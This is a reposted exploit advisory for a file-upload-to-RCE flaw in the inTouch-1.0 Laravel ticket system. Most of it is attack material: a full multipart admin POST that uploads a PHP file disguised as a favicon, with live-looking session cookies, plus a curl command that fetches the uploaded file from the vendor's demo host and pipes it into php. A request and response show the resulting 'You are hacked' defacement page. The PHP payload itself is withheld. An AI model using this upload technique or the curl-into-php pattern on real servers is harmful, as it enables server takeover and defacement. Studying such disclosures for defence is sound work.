inTouch-1.0 File Upload - RCE
2023-12-10 05:50:34 Author: cxsecurity.com(查看原文) 阅读量:6 收藏

inTouch-1.0 File Upload - RCE

## Title: inTouch-1.0 File Upload - RCE ## Author: nu11secur1ty ## Date: 11/28/2023 ## Vendor: https://codecanyon.net/user/media-city ## Software: https://codecanyon.net/item/intouch-laravel-support-ticket-management-system/35177425?s_rank=2 ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The class="custom-file-input" id="favicon" parameter is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a php exploit that makes a hacked.html file with a link, which is absolutely DANGER! =) I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit execution: ```curl curl -s https://intouch.mediacity.co.in/public/images/general/1701173124_favicon_rapist.php | php ``` [+] Uploading of the rapist.php exploit: ```PHP POST /public/admin/setting/general_update HTTP/2 Host: intouch.mediacity.co.in Cookie: _ga=GA1.3.241515555.1701243451; _gid=GA1.3.138413721.1701243451; XSRF-TOKEN=eyJpdiI6InBWeml5QldmYk95ZXJaTi90b1psYXc9PSIsInZhbHVlIjoia3lmVlIxL3hVSmtaWFE5NnNyclFBa0RGRUNPOGluZlNJY1l3d3NQM09ON3pCNzNUTkJTNnduUWRXQzMycUhEVU9LVXFueG9QVzJ3MzFscTZNVFk2R29FOWIzRndkWUFoZWpSUFU2aFY3WDFuY2V3V2t2NnlQVC9rZkVWUzFPRTUiLCJtYWMiOiIwOTAyMjA4MDk2OTM2MmJlMGU2YzQ4MTM0ZGM0OTAyZWFkMGI3YmNhMGRhOTk2ZTk3NjFhZjYxYjBmNDgyZWZjIiwidGFnIjoiIn0%3D; intouch_session=eyJpdiI6IjJOWitLeGNqMllpU2pPeWhiZTdUaWc9PSIsInZhbHVlIjoiRFpSZ2ZVeStJOFZmbkJ3WDBWR01NQmFmU05GUFo1UER6UGZrb3BhOG5wd21VNmwrN1U1Z0ZvQ1Rwa2FlbVYvRVJoWW9uYU0wNDQxcGdCNEZhK2Y3Z3hSTzc4VjRqRmhWQjVBWmJiTDNTQ1djTlJXWklneURkSWFoWmFMbjlLeXUiLCJtYWMiOiJlMjk5YTE0OGY3ZTg2Y2MwNzRjM2Y1MWJlN2JmNDNmNTgzMGNmZThmZmRjZjk3NTIxMTI1MDgzODgxZmIwMTVjIiwidGFnIjoiIn0%3D Content-Length: 2406 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://intouch.mediacity.co.in Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhKhhhQPmS9AzNMR2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://intouch.mediacity.co.in/public/admin/setting/general Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="_token" TgsYGi9Lpg3sCtwpK0hCZkgw0cDDXZlTvXiv2WM4 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="w_name" inTouch ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="w_title" inTouch - Laravel Support Ticket Management System ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="w_phone" 9123456789 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="w_address" 4327 Oakdale Avenue ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="w_time" 10AM-7PM ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="support_time" 10:00 AM - 7:00 PM ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="currency_icon" fa fa-eur ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="currency_code" USD ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="logo"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="favicon"; filename="rapist.php" Content-Type: application/octet-stream <?php // @nu11secur1ty 2023 // The content of the exploit is costing money! // I'am sorry!No more charity campaigns! ?> ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="preloader"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="is_preloader" 1 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="wel_mail" 1 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="is_gotop" 1 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="right_click" 1 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2 Content-Disposition: form-data; name="show_support_desk" 1 ------WebKitFormBoundaryhKhhhQPmS9AzNMR2-- ``` [+]The request from already creating HTML exploit, building by rapist.php - the File Upload Vulnerability uploaded exploit: ```html GET /public/images/general/hacked.html HTTP/2 Host: intouch.mediacity.co.in Cookie: _ga=GA1.3.241515555.1701243451; _gid=GA1.3.138413721.1701243451; _gat=1; XSRF-TOKEN=eyJpdiI6InJ4NHRnbDNwK2UrbjJsWDhnZTh0QVE9PSIsInZhbHVlIjoiSXp4VmduWTZOUk9UbnRSTU5JQmZvNkxJU2pHYzdxeCt5d0VTeDJFY1VUdGZBczdJQm84d3BjQ1hpYXArd0xIS2tWWllmSG5ld3c1SFEwNDMzNHVDMksrdkdWMzhRRGhJeENiMWh0bUpRcWNNcERwaU05RVpHVDlzR2NIOE9EcXYiLCJtYWMiOiJkZmYyMWFkZWRlZmMzYjhlMTMyMmM2NzIwNWM0ZWQxM2U3N2ExZGMzZWYxNWEwMThjMDFjYzg3OWU1ODNjY2I0IiwidGFnIjoiIn0%3D; intouch_session=eyJpdiI6IjVzL3ppUU5LUjZKcDFScyt5VlJPeFE9PSIsInZhbHVlIjoiTVE0UlZwQTVkVWx0MzhSR1BBM3FBbG45cDcyUkw0NHN6azBWM3JlTWp5czlwS1FhVmR4NGYybEVUcVUreVhRWmk0Q29lVXY2NHFPYmtnU0JMNlEyY3dubHlEQnNCTEFlZ1hRUWZUZW1Dend1UzM2aW5zSHRJTUZGcHAwSzBPc2MiLCJtYWMiOiIxNTdlMDEyN2U2NTg5NTJmY2FhZmRiOGQ4ZjAwZDZiNTFlZGI5YzAyMzYwNTkzYmI2NDFhNWNhNjFiYmFmNmE3IiwidGFnIjoiIn0%3D Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Priority: u=0, i ``` [+]Response from hacked.html exploit: ```HTML HTTP/2 200 OK Date: Wed, 29 Nov 2023 07:42:12 GMT Content-Type: text/html Last-Modified: Wed, 29 Nov 2023 07:41:36 GMT Vary: Accept-Encoding,User-Agent Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FC6O47ms%2FK94PRptLe12H%2BQM8D3DGySgqzwTUCjI4B%2BuNw6KoINnK8X8ublrU520Vyib1aU4Ra5Ml50hgNOasNzYYckp2f7jyCoofAvB1XYfwqNOqcRGs%2BWExXd5XKLQJzy9435zVDv90A%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0 Server: cloudflare Cf-Ray: 82d9366b7bf7f5d8-NRT Alt-Svc: h3=":443"; ma=86400 <p>You are hacked</p> <p><p>This is not good for you</p> <a href='https://sell.sawbrokers.com/domain/malicious.com/'target='_blank'>You can visit our website for more information!</a></p> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/media-city/inTouch-1.0) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/11/intouch-10-file-upload-rce.html) ## Time spent: 00:37:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2023120021
如有侵权请联系:admin#unsafe.sh